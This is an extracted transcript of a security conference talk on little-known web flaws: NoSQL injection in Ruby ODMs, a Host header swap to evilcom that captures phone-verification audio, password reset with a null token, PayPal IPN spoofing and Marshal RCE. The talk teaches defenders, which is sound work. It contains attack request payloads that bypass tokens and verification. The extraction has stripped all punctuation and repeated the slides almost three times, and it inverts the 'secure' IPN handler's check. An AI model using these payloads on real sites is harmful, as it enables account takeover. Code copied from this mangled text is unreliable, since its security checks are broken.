[cb16] esoteric web application vulnerabilities by andrés riancho

50

Upload: code-blue

Post on 23-Jan-2018

268 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

me

Application security expert (web|API)

Developer (Python)

Open Source evangelist

w3af project leader

Founder of Bonsai Information Security

Founder and developer of TagCube SaaS

ORM killed the pentest star

All modern web development frameworks provide abstractions to interact with (no)SQL databases Developers donrsquot write raw SQL queries anymore

Video killed the radio star (youtube)

SQL injections are rare nowadays this requires us testers to dig deeper into the application to find high risk vulnerabilities

MVC templates and default HTML encode killed XSS

Most modern web development frameworks use a model view controller architecture which uses templates to render the HTML shown to users

Templating engines such as Jinja2 HTML encode the context data by default

Developers need to write more code to make the template vulnerable to Cross-Site Scripting which leads to less vulnerabilities

ltulgt for user in user_list

ltligtlta href= userurl gt userusername ltagtltligt endfor ltulgt

Aggressive input decoding

Ruby on Rails Sinatra and other (ruby) web frameworks perform aggressive input decoding

httpwwwphrackorgpapersattacking_ruby_on_railshtml

post hello doname = params[name]render_response 200 name

POST hello HTTP11Host examplecomContent-Type applicationx-www-form-urlencoded

name=andres

POST hello HTTP11Host examplecomContent-Type applicationjson

name andres

Decode to a Ruby Hash

POST hello HTTP11Host examplecomContent-Type applicationjson

name foo 1

In all previous cases the type of the name variable was a String but we can force it to be a Hash

noSQL ODM introduction

When MongoId ODM (Object Document Mapper) and similar frameworks are in use developers can write code similar to

Which will query the Mongo database and return the first registration flow where the user_id and confirmation_token match

post registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]confirmation_token params[token]

)first

POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson

token dee1303d11814cf70d21a5193030bb8e user_id 3578

noSQL ODM complex queries

Developers can write ldquocomplexrdquo ODM queries using Ruby Hashes as parameters

user = Userswhere(user_id params[user_id]country $ne Argentina)first

users = Userswhere(user_id $in [123 456 789])

Decode to Hash leads to noSQL injection

Itrsquos possible to bypass the token validation

post registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]confirmation_token params[token]

)first

POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson

token $ne nomatch user_id 3578

ldquoUser controlled inputrdquoto_s

Fixing this vulnerability is quick and easy

Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar

get registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]to_sconfirmation_token params[token]to_s

)first

Call me to verify my identity 1

The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership

HTTP requestVerify my phone +1 (541) 754-3010

Call me to verify my identity 2

Call +1 (541) 754-3010Send code 357896 in audio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

Call me to verify my identity 3

HTTP requestCode is 357896

HTTP responseWelcome admin

Bypass phone verification

Hacker wants to bypass phone verification ideas

Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio

Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need

UUID4

Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced

httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 2: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

ORM killed the pentest star

All modern web development frameworks provide abstractions to interact with (no)SQL databases Developers donrsquot write raw SQL queries anymore

Video killed the radio star (youtube)

SQL injections are rare nowadays this requires us testers to dig deeper into the application to find high risk vulnerabilities

MVC templates and default HTML encode killed XSS

Most modern web development frameworks use a model view controller architecture which uses templates to render the HTML shown to users

Templating engines such as Jinja2 HTML encode the context data by default

Developers need to write more code to make the template vulnerable to Cross-Site Scripting which leads to less vulnerabilities

ltulgt for user in user_list

ltligtlta href= userurl gt userusername ltagtltligt endfor ltulgt

Aggressive input decoding

Ruby on Rails Sinatra and other (ruby) web frameworks perform aggressive input decoding

httpwwwphrackorgpapersattacking_ruby_on_railshtml

post hello doname = params[name]render_response 200 name

POST hello HTTP11Host examplecomContent-Type applicationx-www-form-urlencoded

name=andres

POST hello HTTP11Host examplecomContent-Type applicationjson

name andres

Decode to a Ruby Hash

POST hello HTTP11Host examplecomContent-Type applicationjson

name foo 1

In all previous cases the type of the name variable was a String but we can force it to be a Hash

noSQL ODM introduction

When MongoId ODM (Object Document Mapper) and similar frameworks are in use developers can write code similar to

Which will query the Mongo database and return the first registration flow where the user_id and confirmation_token match

post registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]confirmation_token params[token]

)first

POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson

token dee1303d11814cf70d21a5193030bb8e user_id 3578

noSQL ODM complex queries

Developers can write ldquocomplexrdquo ODM queries using Ruby Hashes as parameters

user = Userswhere(user_id params[user_id]country $ne Argentina)first

users = Userswhere(user_id $in [123 456 789])

Decode to Hash leads to noSQL injection

Itrsquos possible to bypass the token validation

post registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]confirmation_token params[token]

)first

POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson

token $ne nomatch user_id 3578

ldquoUser controlled inputrdquoto_s

Fixing this vulnerability is quick and easy

Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar

get registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]to_sconfirmation_token params[token]to_s

)first

Call me to verify my identity 1

The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership

HTTP requestVerify my phone +1 (541) 754-3010

Call me to verify my identity 2

Call +1 (541) 754-3010Send code 357896 in audio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

Call me to verify my identity 3

HTTP requestCode is 357896

HTTP responseWelcome admin

Bypass phone verification

Hacker wants to bypass phone verification ideas

Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio

Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need

UUID4

Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced

httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 3: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

MVC templates and default HTML encode killed XSS

Most modern web development frameworks use a model view controller architecture which uses templates to render the HTML shown to users

Templating engines such as Jinja2 HTML encode the context data by default

Developers need to write more code to make the template vulnerable to Cross-Site Scripting which leads to less vulnerabilities

ltulgt for user in user_list

ltligtlta href= userurl gt userusername ltagtltligt endfor ltulgt

Aggressive input decoding

Ruby on Rails Sinatra and other (ruby) web frameworks perform aggressive input decoding

httpwwwphrackorgpapersattacking_ruby_on_railshtml

post hello doname = params[name]render_response 200 name

POST hello HTTP11Host examplecomContent-Type applicationx-www-form-urlencoded

name=andres

POST hello HTTP11Host examplecomContent-Type applicationjson

name andres

Decode to a Ruby Hash

POST hello HTTP11Host examplecomContent-Type applicationjson

name foo 1

In all previous cases the type of the name variable was a String but we can force it to be a Hash

noSQL ODM introduction

When MongoId ODM (Object Document Mapper) and similar frameworks are in use developers can write code similar to

Which will query the Mongo database and return the first registration flow where the user_id and confirmation_token match

post registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]confirmation_token params[token]

)first

POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson

token dee1303d11814cf70d21a5193030bb8e user_id 3578

noSQL ODM complex queries

Developers can write ldquocomplexrdquo ODM queries using Ruby Hashes as parameters

user = Userswhere(user_id params[user_id]country $ne Argentina)first

users = Userswhere(user_id $in [123 456 789])

Decode to Hash leads to noSQL injection

Itrsquos possible to bypass the token validation

post registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]confirmation_token params[token]

)first

POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson

token $ne nomatch user_id 3578

ldquoUser controlled inputrdquoto_s

Fixing this vulnerability is quick and easy

Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar

get registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]to_sconfirmation_token params[token]to_s

)first

Call me to verify my identity 1

The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership

HTTP requestVerify my phone +1 (541) 754-3010

Call me to verify my identity 2

Call +1 (541) 754-3010Send code 357896 in audio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

Call me to verify my identity 3

HTTP requestCode is 357896

HTTP responseWelcome admin

Bypass phone verification

Hacker wants to bypass phone verification ideas

Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio

Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need

UUID4

Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced

httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

